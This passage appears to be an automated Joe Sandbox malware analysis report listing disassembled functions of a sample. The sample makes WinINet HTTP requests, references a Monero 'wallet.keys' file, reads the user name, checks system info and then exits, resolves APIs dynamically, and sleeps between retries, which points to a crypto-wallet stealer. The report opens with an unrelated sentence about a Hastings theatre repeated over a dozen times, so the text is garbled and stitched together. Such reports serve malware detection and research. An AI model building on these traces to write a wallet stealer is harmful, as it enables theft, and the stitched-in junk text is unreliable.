Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: f68d86471707ea7ef6ef1a9d1d203a689673e67260375e2b501f8e4fd58d9d4a
Instruction ID: 6f92967995500fee7e93c9f64a3920428982cdf7d4b5a534c5133d119be8d4f4
Opcode Fuzzy Hash: f68d86471707ea7ef6ef1a9d1d203a689673e67260375e2b501f8e4fd58d9d4a
Instruction Fuzzy Hash: 3941B6707DB644EAD734B7E4884EEAE7A57FF46F04F605288B941562C2CBF06940C927

Function 000E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 000E4839
Part of subcall function 000E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 000E4849

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 000E4915
StrCmpCA.SHLWAPI(?,0122E878), ref: 000E493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 000E4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00100DDB,00000000,?,?,00000000,?,",00000000,?,0122E8A8), ref: 000E4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 000E4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 000E4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 000E4E49
InternetCloseHandle.WININET(00000000), ref: 000E4EAD
InternetCloseHandle.WININET(00000000), ref: 000E4EC5
HttpOpenRequestA.WININET(00000000,0122E768,?,0122E458,00000000,00000000,00400100,00000000), ref: 000E4B15

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

InternetCloseHandle.WININET(00000000), ref: 000E4ECF

Strings

------, xrefs: 000E49BD
", xrefs: 000E4D33
", xrefs: 000E4BF2
------, xrefs: 000E4B28
------, xrefs: 000E4C69

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 3922c1bb3b3b27a07740aca36809784e61685c688b70674cfd9315b6ff71720e
Instruction ID: 8bd49a981ec709be0b608b54227667fc2803e16e425f35dfc80e5fe8c0525042
Opcode Fuzzy Hash: 3922c1bb3b3b27a07740aca36809784e61685c688b70674cfd9315b6ff71720e
Instruction Fuzzy Hash: 3D12C2B1A1011CABDB15EB90DC52FEEB378AF55340F504199B20A62492DFB42F4ADF62

Function 000F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000E11B7), ref: 000F7880
RtlAllocateHeap.NTDLL(00000000), ref: 000F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 000F789F

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b9e57bb328917f8c81deb9e3a138da41240f62e7ce4d783af89b497c6361353b
Instruction ID: d0ee3491f1753ce19cc105dfec67f558fe09de787e1f73f9515a51f1071f328a
Opcode Fuzzy Hash: b9e57bb328917f8c81deb9e3a138da41240f62e7ce4d783af89b497c6361353b
Instruction Fuzzy Hash: 9FF04FB1944608EBC714DF98DD49FAEBBBCEB04711F10065AFA05A2680C77415058BA2

Function 000E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 000E116A
ExitProcess.KERNEL32 ref: 000E117E

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 7f2160e6e6fe1ece02ae0173e004efe80de8e0f66848c7fd743714d9d63e90e5
Instruction ID: 1f3fb5bf801dd56f9b579d7a084c666e6d22627d6465d646796b765e3560f5f7
Opcode Fuzzy Hash: 7f2160e6e6fe1ece02ae0173e004efe80de8e0f66848c7fd743714d9d63e90e5
Instruction Fuzzy Hash: FAD05E7490030CDBCB14DFE4DC496EDBB7CFB08312F000598D90572340EA305482CAAA

Function 000F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01215BF0), ref: 000F9C2D
GetProcAddress.KERNEL32(74DD0000,01215CB0), ref: 000F9C45
GetProcAddress.KERNEL32(74DD0000,012296A0), ref: 000F9C5E
GetProcAddress.KERNEL32(74DD0000,012296B8), ref: 000F9C76
GetProcAddress.KERNEL32(74DD0000,012296D0), ref: 000F9C8E
GetProcAddress.KERNEL32(74DD0000,01229610), ref: 000F9CA7
GetProcAddress.KERNEL32(74DD0000,0121BBD0), ref: 000F9CBF
GetProcAddress.KERNEL32(74DD0000,0122CE70), ref: 000F9CD7
GetProcAddress.KERNEL32(74DD0000,0122CF30), ref: 000F9CF0
GetProcAddress.KERNEL32(74DD0000,0122D0B0), ref: 000F9D08
GetProcAddress.KERNEL32(74DD0000,0122CDF8), ref: 000F9D20
GetProcAddress.KERNEL32(74DD0000,01215BB0), ref: 000F9D39
GetProcAddress.KERNEL32(74DD0000,01215CF0), ref: 000F9D51
GetProcAddress.KERNEL32(74DD0000,01215D70), ref: 000F9D69
GetProcAddress.KERNEL32(74DD0000,01215BD0), ref: 000F9D82
GetProcAddress.KERNEL32(74DD0000,0122CF90), ref: 000F9D9A
GetProcAddress.KERNEL32(74DD0000,0122CFC0), ref: 000F9DB2
GetProcAddress.KERNEL32(74DD0000,0121BC70), ref: 000F9DCB
GetProcAddress.KERNEL32(74DD0000,01215D90), ref: 000F9DE3
GetProcAddress.KERNEL32(74DD0000,0122CE10), ref: 000F9DFB
GetProcAddress.KERNEL32(74DD0000,0122CFD8), ref: 000F9E14
GetProcAddress.KERNEL32(74DD0000,0122CED0), ref: 000F9E2C
GetProcAddress.KERNEL32(74DD0000,0122CF78), ref: 000F9E44
GetProcAddress.KERNEL32(74DD0000,01215DB0), ref: 000F9E5D
GetProcAddress.KERNEL32(74DD0000,0122CEB8), ref: 000F9E75
GetProcAddress.KERNEL32(74DD0000,0122CE28), ref: 000F9E8D
GetProcAddress.KERNEL32(74DD0000,0122CF18), ref: 000F9EA6
GetProcAddress.KERNEL32(74DD0000,0122CEE8), ref: 000F9EBE
GetProcAddress.KERNEL32(74DD0000,0122CE88), ref: 000F9ED6
GetProcAddress.KERNEL32(74DD0000,0122D068), ref: 000F9EEF
GetProcAddress.KERNEL32(74DD0000,0122CE40), ref: 000F9F07
GetProcAddress.KERNEL32(74DD0000,0122CFF0), ref: 000F9F1F
GetProcAddress.KERNEL32(74DD0000,0122D008), ref: 000F9F38
GetProcAddress.KERNEL32(74DD0000,0122A6F0), ref: 000F9F50
GetProcAddress.KERNEL32(74DD0000,0122CF48), ref: 000F9F68
GetProcAddress.KERNEL32(74DD0000,0122D038), ref: 000F9F81
GetProcAddress.KERNEL32(74DD0000,01215DD0), ref: 000F9F99
GetProcAddress.KERNEL32(74DD0000,0122CE58), ref: 000F9FB1
GetProcAddress.KERNEL32(74DD0000,01215A50), ref: 000F9FCA
GetProcAddress.KERNEL32(74DD0000,0122D080), ref: 000F9FE2
GetProcAddress.KERNEL32(74DD0000,0122D020), ref: 000F9FFA
GetProcAddress.KERNEL32(74DD0000,012158B0), ref: 000FA013
GetProcAddress.KERNEL32(74DD0000,012157F0), ref: 000FA02B
LoadLibraryA.KERNEL32(0122CF60,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA03D
LoadLibraryA.KERNEL32(0122D050,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA04E
LoadLibraryA.KERNEL32(0122CFA8,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA060
LoadLibraryA.KERNEL32(0122CEA0,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA072
LoadLibraryA.KERNEL32(0122CF00,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA083
LoadLibraryA.KERNEL32(0122D0C8,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA095
LoadLibraryA.KERNEL32(0122D0E0,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA0A7
LoadLibraryA.KERNEL32(0122D098,?,000F5CA3,00100AEB,?,?,?,?,?,?,?,?,?,?,00100AEA,00100AE3), ref: 000FA0B8
GetProcAddress.KERNEL32(75290000,01215A90), ref: 000FA0DA
GetProcAddress.KERNEL32(75290000,0122D2C0), ref: 000FA0F2
GetProcAddress.KERNEL32(75290000,01228FB8), ref: 000FA10A
GetProcAddress.KERNEL32(75290000,0122D2D8), ref: 000FA123
GetProcAddress.KERNEL32(75290000,01215970), ref: 000FA13B
GetProcAddress.KERNEL32(73B40000,0121B9C8), ref: 000FA160
GetProcAddress.KERNEL32(73B40000,01215A70), ref: 000FA179
GetProcAddress.KERNEL32(73B40000,0121B798), ref: 000FA191
GetProcAddress.KERNEL32(73B40000,0122D260), ref: 000FA1A9
GetProcAddress.KERNEL32(73B40000,0122D320), ref: 000FA1C2
GetProcAddress.KERNEL32(73B40000,01215910), ref: 000FA1DA
GetProcAddress.KERNEL32(73B40000,01215870), ref: 000FA1F2
GetProcAddress.KERNEL32(73B40000,0122D128), ref: 000FA20B
GetProcAddress.KERNEL32(752C0000,012156B0), ref: 000FA22C
GetProcAddress.KERNEL32(752C0000,012158F0), ref: 000FA244
GetProcAddress.KERNEL32(752C0000,0122D3C8), ref: 000FA25D
GetProcAddress.KERNEL32(752C0000,0122D308), ref: 000FA275
GetProcAddress.KERNEL32(752C0000,01215730), ref: 000FA28D
GetProcAddress.KERNEL32(74EC0000,0121B6F8), ref: 000FA2B3
GetProcAddress.KERNEL32(74EC0000,0121B720), ref: 000FA2CB
GetProcAddress.KERNEL32(74EC0000,0122D2F0), ref: 000FA2E3
GetProcAddress.KERNEL32(74EC0000,012156F0), ref: 000FA2FC
GetProcAddress.KERNEL32(74EC0000,01215A10), ref: 000FA314
GetProcAddress.KERNEL32(74EC0000,0121BA18), ref: 000FA32C
GetProcAddress.KERNEL32(75BD0000,0122D1A0), ref: 000FA352
GetProcAddress.KERNEL32(75BD0000,012156D0), ref: 000FA36A
GetProcAddress.KERNEL32(75BD0000,01228FE8), ref: 000FA382
GetProcAddress.KERNEL32(75BD0000,0122D278), ref: 000FA39B
GetProcAddress.KERNEL32(75BD0000,0122D200), ref: 000FA3B3
GetProcAddress.KERNEL32(75BD0000,01215990), ref: 000FA3CB
GetProcAddress.KERNEL32(75BD0000,012159B0), ref: 000FA3E4
GetProcAddress.KERNEL32(75BD0000,0122D110), ref: 000FA3FC
GetProcAddress.KERNEL32(75BD0000,0122D350), ref: 000FA414
GetProcAddress.KERNEL32(75A70000,01215930), ref: 000FA436
GetProcAddress.KERNEL32(75A70000,0122D338), ref: 000FA44E
GetProcAddress.KERNEL32(75A70000,0122D1B8), ref: 000FA466
GetProcAddress.KERNEL32(75A70000,0122D368), ref: 000FA47F
GetProcAddress.KERNEL32(75A70000,0122D290), ref: 000FA497
GetProcAddress.KERNEL32(75450000,01215710), ref: 000FA4B8
GetProcAddress.KERNEL32(75450000,012158D0), ref: 000FA4D1
GetProcAddress.KERNEL32(75DA0000,01215A30), ref: 000FA4F2
GetProcAddress.KERNEL32(75DA0000,0122D248), ref: 000FA50A
GetProcAddress.KERNEL32(6F080000,01215950), ref: 000FA530
GetProcAddress.KERNEL32(6F080000,01215750), ref: 000FA548
GetProcAddress.KERNEL32(6F080000,012157B0), ref: 000FA560
GetProcAddress.KERNEL32(6F080000,0122D398), ref: 000FA579
GetProcAddress.KERNEL32(6F080000,01215770), ref: 000FA591
GetProcAddress.KERNEL32(6F080000,012159D0), ref: 000FA5A9
GetProcAddress.KERNEL32(6F080000,012159F0), ref: 000FA5C2
GetProcAddress.KERNEL32(6F080000,01215790), ref: 000FA5DA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 000FA5F1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 000FA607
GetProcAddress.KERNEL32(75AF0000,0122D380), ref: 000FA629
GetProcAddress.KERNEL32(75AF0000,01229018), ref: 000FA641
GetProcAddress.KERNEL32(75AF0000,0122D3B0), ref: 000FA659
GetProcAddress.KERNEL32(75AF0000,0122D3E0), ref: 000FA672
GetProcAddress.KERNEL32(75D90000,01215830), ref: 000FA693
GetProcAddress.KERNEL32(6E330000,0122D0F8), ref: 000FA6B4
GetProcAddress.KERNEL32(6E330000,012157D0), ref: 000FA6CD
GetProcAddress.KERNEL32(6E330000,0122D2A8), ref: 000FA6E5
GetProcAddress.KERNEL32(6E330000,0122D140), ref: 000FA6FD

Strings

HttpQueryInfoA, xrefs: 000FA5FC
InternetSetOptionA, xrefs: 000FA5E5

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 3dfc5a035176adba180e58b32cd4094922b8b5c626897df1979dad3210bfcee2
Instruction ID: cd24bcd8a887bb8d33a671890c258fb6810f5136b30a80bc87fd4c438dc9d488
Opcode Fuzzy Hash: 3dfc5a035176adba180e58b32cd4094922b8b5c626897df1979dad3210bfcee2
Instruction Fuzzy Hash: 9D620DB5500A00AFC366DFA9EE889663BFDF74C701F14852EE609C3264D739A443DB5A

Function 000E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 000E4839
Part of subcall function 000E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 000E4849

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

InternetOpenA.WININET(00100DFE,00000001,00000000,00000000,00000000), ref: 000E62E1
StrCmpCA.SHLWAPI(?,0122E878), ref: 000E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 000E6335
HttpOpenRequestA.WININET(00000000,GET,?,0122E458,00000000,00000000,00400100,00000000), ref: 000E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 000E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 000E646D
InternetCloseHandle.WININET(00000000), ref: 000E64EF
InternetCloseHandle.WININET(00000000), ref: 000E64F9
InternetCloseHandle.WININET(00000000), ref: 000E6503

Strings

ERROR, xrefs: 000E64C9
GET, xrefs: 000E637C
ERROR, xrefs: 000E6407

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 547c8e9730b89ad8175085b1cc8be4404d04ba6cb4dc9fd21be4c7bc6aaf3b11
Instruction ID: 89ac66dbe03b21ea6de87ea51d6badaf326d89e93b208321f209ec4a6f428844
Opcode Fuzzy Hash: 547c8e9730b89ad8175085b1cc8be4404d04ba6cb4dc9fd21be4c7bc6aaf3b11
Instruction Fuzzy Hash: EF715EB1A00258EFDB24DBA0DC49FEE77B8BB44700F108158F60A6B5D1DBB56A86CF51

Function 000F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000FA820: lstrlen.KERNEL32(000E4F05,?,?,000E4F05,00100DDE), ref: 000FA82B
Part of subcall function 000FA820: lstrcpy.KERNEL32(00100DDE,00000000), ref: 000FA885

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 000F5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000F56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000F5857

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000F51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000F5228

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 000F5318
Part of subcall function 000F52C0: lstrlen.KERNEL32(00000000), ref: 000F532F
Part of subcall function 000F52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 000F5364
Part of subcall function 000F52C0: lstrlen.KERNEL32(00000000), ref: 000F5383
Part of subcall function 000F52C0: lstrlen.KERNEL32(00000000), ref: 000F53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 000F578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 000F5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000F5A0C
Sleep.KERNEL32(0000EA60), ref: 000F5A1B

Strings

ERROR, xrefs: 000F5849
ERROR, xrefs: 000F5932
ERROR, xrefs: 000F5693
ERROR, xrefs: 000F59FE
ERROR, xrefs: 000F5636
ERROR, xrefs: 000F577D

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
